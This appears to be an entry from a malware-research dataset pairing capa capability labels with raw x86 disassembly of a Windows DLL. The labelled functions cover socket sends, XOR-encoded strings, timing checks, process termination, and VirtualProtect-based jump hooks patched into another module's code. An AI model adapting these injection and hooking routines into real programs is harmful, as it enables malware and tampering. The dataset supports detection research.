joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f10
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x8000c
call fcn.10027a00
mov eax, dword [0x100571b8]
xor eax, esp
mov dword [esp + 0x80008], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x10157b8c
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x10057b74]
cmp ebx, 0xffffffff
je 0x10004000
cmp byte [0x10157ba8], 0
je 0x10004000
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x10]
push esi
push edi
push eax
call fcn.10029860
mov al, byte [esp + 0x1c]
add esp, 0xc
cmp al, 0xc1
jne 0x10003f82
push dword [esp + 0x12]
lea edx, [esi - 3]
lea ecx, [esp + 0x17]
jmp 0x10003f9e
cmp al, 0xc3
jne 0x10003f93
push dword [esp + 0x15]
lea edx, [esi - 6]
lea ecx, [esp + 0x1a]
jmp 0x10003f9e
push dword [esp + 0x13]
lea edx, [esi - 4]
lea ecx, [esp + 0x18]
call fcn.1001f2f0
mov ecx, dword [0x10157b80]
add esp, 4
test ecx, ecx
jle 0x10004062
lea eax, [ecx + esi]
push esi
cmp eax, 0x80000
jle 0x10004024
push ecx
push str.Size1___d_2___d
push 0
push 0x10157d08
call fcn.10015910
mov eax, dword [0x10157b80]
add esp, 0x14
add eax, esi
mov ecx, 7
push eax
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
add esp, 0x10
mov ecx, 0x10057b70
call fcn.10003ce0
push 0x10157b8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x80008]
xor ecx, esp
call fcn.10026898
mov esp, ebp
pop ebp
ret 8
lea eax, [esp + 0x14]
push eax
lea eax, [ecx + 0x100d7b80]
push eax
call fcn.10029860
add esp, 0xc
add dword [0x10157b80], esi
push 0x10157b8c
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x80014]
mov al, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026898
mov esp, ebp
pop ebp
ret 8
xor edi, edi
test esi, esi
jle 0x1000403e
push 0
push esi
lea eax, [esp + 0x18]
add eax, edi
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000408e
sub esi, eax
add edi, eax
test esi, esi
jle 0x1000403e
mov ebx, dword [0x10057b74]
jmp 0x10004068
mov ebx, dword [sym.imp.WS2_32.dll_WSAGetLastError]
call ebx
cmp eax, 0x2733
jne 0x100040c3
mov ecx, dword [0x10157b80]
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x100040b7
mov ecx, 8
jmp 0x10003fe0
lea eax, [esp + 0x10]
push esi
add eax, edi
jmp 0x10004028
call ebx
mov ecx, 9
jmp 0x10003fe0
Function at 0x100040d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10004122
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000412f
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x100040f2
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10004167
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.100287b0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov al, 1
pop edi
pop esi
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
mov ecx, 0xa
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
add esp, 0x10
mov ecx, esi
call fcn.10003ce0
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x10004e30
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x10163670], 0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov ebx, ecx
jne 0x10005089
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10163670], eax
mov word [ebp - 0x33c], 0x85c1
call fcn.1002ca75
and eax, 0x800000ff
jns 0x10004e81
dec eax
or eax, 0xffffff00
inc eax
cmp dword [0x10057b74], 0xffffffff
mov byte [ebp - 0x33a], al
mov byte [ebp - 0x339], 3
mov byte [ebp - 0x338], bl
je 0x1000507e
cmp byte [0x10157ba8], 0
je 0x1000507e
mov word [ebp - 0x2b4], 0x9bc1
call fcn.1002ca75
and eax, 0x800000ff
jns 0x10004eca
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [0x1016366c]
mov byte [ebp - 0x2b2], al
mov byte [ebp - 0x2b1], 3
mov byte [ebp - 0x2b0], bl
test ecx, ecx
jne 0x10004f01
xorps xmm0, xmm0
mov word [ebp - 0x2a7], cx
movq qword [ebp - 0x2af], xmm0
mov byte [ebp - 0x2a5], cl
jmp 0x10004f21
movq xmm0, qword [ecx]
movq qword [ebp - 0x2af], xmm0
mov ax, word [ecx + 8]
mov word [ebp - 0x2a7], ax
mov al, byte [ecx + 0xa]
mov byte [ebp - 0x2a5], al
mov ecx, dword [0x10163668]
test ecx, ecx
je 0x10004f53
mov ecx, dword [ecx]
test ecx, ecx
je 0x10004f53
movq xmm0, qword [ecx]
movq qword [ebp - 0x2a4], xmm0
mov ax, word [ecx + 8]
mov word [ebp - 0x29c], ax
mov al, byte [ecx + 0xa]
mov byte [ebp - 0x29a], al
jmp 0x10004f6e
xorps xmm0, xmm0
mov word [ebp - 0x29c], 0
movq qword [ebp - 0x2a4], xmm0
mov byte [ebp - 0x29a], 0
test esi, esi
jne 0x10004f86
push 0x40
lea eax, [ebp - 0x299]
push esi
push eax
call fcn.10029de0
add esp, 0xc
jmp 0x10004fb1
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x299], xmm0
movups xmm0, xmmword [esi + 0x10]
movups xmmword [ebp - 0x289], xmm0
movups xmm0, xmmword [esi + 0x20]
movups xmmword [ebp - 0x279], xmm0
movups xmm0, xmmword [esi + 0x30]
movups xmmword [ebp - 0x269], xmm0
push 0x40
lea eax, [ebp - 0x259]
push 0
push eax
call fcn.10029de0
add esp, 0xc
test edi, edi
je 0x1000501b
push edi
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000501b
push 0x104
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameW]
test eax, eax
je 0x10005014
lea ecx, [ebp - 0x214]
call fcn.1001f1f0
push eax
lea eax, [ebp - 0x259]
push 0x1004ef0c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x259]
mov ecx, 0x20
push eax
lea eax, [ebp - 0x299]
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x2af]
push eax
movzx eax, byte [ebp - 0x2b0]
push eax
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
movzx eax, byte [ebp - 0x2b3]
add esp, 0x20
push eax
lea eax, [ebp - 0x2b4]
push eax
call fcn.10003f10
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10026898
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x33c]
call fcn.10004bd0
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10026898
mov esp, ebp
pop ebp
ret
Function at 0x10005d60
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10005e23
push ebx
mov bl, byte [0x1016361a]
mov bh, byte [0x10163619]
cmp edx, 0x20
jb 0x10005e03
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005d93
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm3, xmmword [0x10051230]
mov edi, edx
sub edi, ecx
movaps xmm2, xmm3
movsx ecx, bl
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bh
pshufd xmm1, xmm0, 0
paddb xmm2, xmm1
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm4, xmm0, 0
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm4
paddb xmm0, xmm3
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm4
paddb xmm0, xmm3
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005dd0
pop edi
cmp eax, edx
jge 0x10005e22
add bl, 0xf
nop word [eax + eax]
mov cl, byte [eax + esi]
xor cl, bl
sub cl, bh
add cl, 0xf
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005e10
pop ebx
pop esi
ret

Function at 0x10005e30
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
push esi
mov esi, ecx
test edx, edx
jle 0x10005ee6
push ebx
mov bh, byte [0x10163619]
mov bl, byte [0x1016361a]
cmp edx, 0x20
jb 0x10005ecc
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005e63
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x10051230]
mov edi, edx
sub edi, ecx
movsx ecx, bh
movd xmm0, ecx
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
movsx ecx, bl
pshufd xmm2, xmm0, 0
psubb xmm2, xmm1
movd xmm0, ecx
lea ecx, [esi + 0x10]
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
paddb xmm1, xmm0
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005ea1
pop edi
cmp eax, edx
jge 0x10005ee5
add bl, 0xf
mov cl, byte [eax + esi]
sub cl, 0xf
add cl, bh
xor cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005ed3
pop ebx
pop esi
ret
Function at 0x10005f70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov ecx, dword [0x101636c4]
test ecx, ecx
je 0x10005fd8
mov eax, dword [ecx]
mov edx, 0x101636d8
cmp eax, dword [edx]
jne 0x10005f94
movzx eax, byte [ecx + 4]
cmp al, byte [edx + 4]
je 0x10005fd8
mov ecx, 0xf
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [0x10163b58], xmm0
movups xmmword [0x10163b68], xmm0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov ecx, dword [0x101636c0]
test ecx, ecx
je 0x1000603a
mov eax, dword [ecx]
mov edx, 0x101636d0
cmp eax, dword [edx]
jne 0x10005ff6
movzx eax, byte [ecx + 4]
cmp al, byte [edx + 4]
je 0x1000603a
mov ecx, 0x10
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [0x10163b58], xmm0
movups xmmword [0x10163b68], xmm0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov ecx, dword [0x101636bc]
test ecx, ecx
je 0x10006098
mov eax, dword [ecx]
mov edx, 0x101636c8
cmp eax, dword [edx]
jne 0x10006058
movzx eax, byte [ecx + 4]
cmp al, byte [edx + 4]
je 0x10006098
mov ecx, 0x11
call fcn.10020850
push eax
push 0
push 0x10157d08
call fcn.10015910
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [0x10163b58], xmm0
movups xmmword [0x10163b68], xmm0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp dword [pe_dos_header]
mov esp, ebp
pop ebp
ret
Function at 0x100064c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateProcess]
test esi, esi
jne 0x1000652a
mov edx, 0x5f
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004efac]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x17
jb 0x100064f0
xorps xmm0, xmm0
push 0
movups xmmword [0x10163b58], xmm0
movups xmmword [0x10163b68], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
jmp dword [pe_dos_header]
push ecx
push 0x1d
lea edx, [ebp - 0x24]
mov dword [ebp - 0x24], 0xccccccc3
mov ecx, esi
mov dword [ebp - 0x20], 0xcccccccc
mov dword [ebp - 0x1c], 0x8904ff8b
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x14], 0x8ff8bff
mov dword [ebp - 0x10], 0xffffff89
mov dword [ebp - 0xc], 0xff8bffff
mov byte [ebp - 8], 0xc
call fcn.10020960
add esp, 8
test eax, eax
je 0x100065e8
lea edi, [eax + 8]
mov dword [0x10163740], 0x70
mov dword [0x10163838], edi
call fcn.10002180
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.10002660
push 0x100064a0
push 0x10163838
call fcn.10001c30
call fcn.100021f0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x2c]
push eax
push 0x40
push 5
push edi
call esi
mov eax, 0x100064b0
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x2c]
push 5
push edi
call esi
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026898
mov esp, ebp
pop ebp
ret
mov edx, 0x13
xor ecx, ecx
nop
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x21
jb 0x100065f0
xorps xmm0, xmm0
push 0
movups xmmword [0x10163b58], xmm0
movups xmmword [0x10163b68], xmm0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
jmp dword [pe_dos_header]
Function at 0x10006970
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x5b55ea
call esi
mov eax, 0x10006710
mov byte [0x5b55ea], 0xe9
sub eax, 0x5b55ef
mov dword [0x5b55eb], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x5b55ea
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x5a3c70
call esi
mov eax, 0x100067b0
mov byte [0x5a3c70], 0xe9
sub eax, 0x5a3c75
mov dword [0x5a3c71], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x5a3c70
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x59c6dd
call esi
mov eax, 0x10006750
mov byte [0x59c6dd], 0xe9
sub eax, 0x59c6e2
mov dword [0x59c6de], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x59c6dd
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 3
push 0x556d5a
call esi
mov ax, word [0x1004efc4]
mov ecx, 0x556d5a
mov word [ecx], ax
mov al, byte [0x1004efc6]
mov byte [ecx + 2], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 3
push ecx
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x6f0c56
call esi
mov eax, 0x100067e0
mov byte [0x6f0c56], 0xe9
sub eax, 0x6f0c5b
mov dword [0x6f0c57], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x6f0c56
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x551231
call esi
mov eax, 0x10006850
mov byte [0x551231], 0xe9
sub eax, 0x551236
mov dword [0x551232], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x551231
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x557739
call esi
mov eax, 0x10006890
mov byte [0x557739], 0xe9
sub eax, 0x55773e
mov dword [0x55773a], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x557739
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x550b4c
call esi
mov eax, 0x100068c0
mov byte [0x550b4c], 0xe9
sub eax, 0x550b51
mov dword [0x550b4d], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x550b4c
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x5b6d0b
call esi
mov eax, 0x10006900
mov byte [0x5b6d0b], 0xe9
sub eax, 0x5b6d10
mov dword [0x5b6d0c], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x5b6d0b
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x5a15ae
call esi
mov eax, 0x5a15ae
mov dword [eax], 0x90909090
mov byte [eax + 4], 0x90
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push 0x5a15ae
call esi
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x706727
call esi
mov eax, 0x10006920
mov byte [0x706727], 0xe9
sub eax, 0x70672c
mov dword [0x706728], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push 0x706727
call esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10007840
Capabilities:
Check for time delay via gettickcount
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041348
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10162f94]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10564568]
cmp eax, dword [ecx + 4]
jle 0x100078b5
push 0x10564568
call fcn.10026d73
add esp, 4
cmp dword [0x10564568], 0xffffffff
jne 0x100078b5
call esi
push 0x10564568
mov dword [0x1056456c], eax
call fcn.10026d34
add esp, 4
call esi
sub eax, dword [0x1056456c]
cmp eax, 0xea60
jb 0x10007a8e
call esi
cmp byte [0x101639b9], 0
mov dword [0x1056456c], eax
jne 0x10007922
mov edx, 0xcb
xor ecx, ecx
nop
mov al, byte [ecx + 0x1004efc8]
xor al, dl
mov byte [ebp + ecx - 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x100078e0
mov byte [ebp - 0x14], 0
push ecx
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 0
push eax
push ecx
mov edx, 2
mov ecx, 0x10161dd8
call fcn.1001f420
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
cmp byte [0x101639ba], 0
jne 0x10007974
mov edx, 0x6f
xor ecx, ecx
mov al, byte [ecx + str.4P_:_142W_]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x10
jb 0x10007932
mov byte [ebp - 0x14], 0
push ecx
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 1
push eax
push ecx
mov edx, 2
mov ecx, 0x10161dd8
call fcn.1001f420
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
cmp byte [0x101639bb], 0
jne 0x100079c6
mov edx, 6
xor ecx, ecx
mov al, byte [ecx + str._AXNMI.RSqvb]
xor al, dl
mov byte [ebp + ecx - 0x28], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x11
jb 0x10007984
mov byte [ebp - 0x17], 0
push ecx
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
push ecx
mov edx, 2
mov ecx, 0x10161dd8
call fcn.1001f420
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
cmp byte [0x10163b98], 0
jne 0x10007a15
xor edx, edx
xor ecx, ecx
mov al, byte [ecx + str.__VKV_GC_TYhhka]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x10
jb 0x100079d3
mov byte [ebp - 0x14], 0
push ecx
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 3
push eax
push ecx
mov edx, 2
mov ecx, 0x10161dd8
call fcn.1001f420
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
cmp byte [0x10163b99], 0
jne 0x10007a6b
mov edx, 0x4f
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x1004f01c]
xor al, dl
mov byte [ebp + ecx - 0x24], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xd
jb 0x10007a30
mov byte [ebp - 0x17], 0
push ecx
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 4
push eax
push ecx
mov edx, 2
mov ecx, 0x10161dd8
call fcn.1001f420
add esp, 0xc
mov byte [0x101639b9], 0
mov byte [0x101639ba], 0
mov byte [0x101639bb], 0
mov byte [0x10163b98], 0
mov byte [0x10163b99], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026898
mov esp, ebp
pop ebp
ret
Function at 0x1000d390
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100571b8]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x1f2777df
lea ecx, [ebp - 0x18]
mov byte [0x1016372d], 1
call fcn.10011e60
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0xc]
mov word [ebp - 0x10], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xe], 0
push eax
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0xc], 0x74696e49
mov byte [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], 0
mov byte [ebp - 8], 0
call eax
mov esi, dword [0x10163814]
lea eax, [ebp - 0x1c]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
add esi, 0x1b
push eax
push 0x40
push 5
push esi
call ebx
mov edi, 0x10007ab0
mov byte [esi], 0xe9
mov eax, edi
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
push 5
push esi
call ebx
call fcn.1001c9a0
push 0x400000
push 0
push 0x10163ba0
call fcn.10029de0
add esp, 0xc
push 0
push 0x400000
push 0x10163ba0
push 0x400000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmm1, xmmword [0x10051240]
xor eax, eax
movaps xmm2, xmmword [0x10051260]
movups xmm0, xmmword [eax + 0x10163ba0]
psubb xmm0, xmm1
movups xmmword [eax + 0x10163ba0], xmm0
movups xmm0, xmmword [eax + 0x10163ba0]
pxor xmm0, xmm2
movups xmmword [eax + 0x10163ba0], xmm0
movups xmm0, xmmword [eax + 0x10163bb0]
psubb xmm0, xmm1
movups xmmword [eax + 0x10163bb0], xmm0
movups xmm0, xmmword [eax + 0x10163bb0]
pxor xmm0, xmm2
movups xmmword [eax + 0x10163bb0], xmm0
add eax, 0x20
cmp eax, 0x400000
jb 0x1000d472
mov esi, dword [0x10163814]
lea eax, [ebp - 0x1c]
push eax
push 0x40
push 5
add esi, 0x1b
push esi
call ebx
lea eax, [ebp - 0xc]
mov byte [esi], 0xe9
push eax
push dword [ebp - 0x1c]
sub edi, esi
push 5
sub edi, 5
push esi
mov dword [esi + 1], edi
call ebx
push 0
push ecx
push 0
push 0x1000c3a0
call fcn.10020a70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10026898
mov esp, ebp
pop ebp
ret

Function at 0x1000d510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push edi
mov edi, dword [0x10163814]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
add edi, 0x1b
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0x10007ab0
mov byte [edi], 0xe9
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push ecx
push 0
push 0x1000c3a0
call fcn.10020a70
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10011c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xf0
xor eax, eax
mov dl, byte [edi + eax + 0x79ddc0fb]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1e
jb 0x10011ca1
pop edi
mov byte [esi + 0x1e], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10011cd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 9
xor eax, eax
mov dl, byte [edi + eax - 0x7bd60ae8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10011ce1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x100135a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041d16
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x100571b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10026c08
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10022da7
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret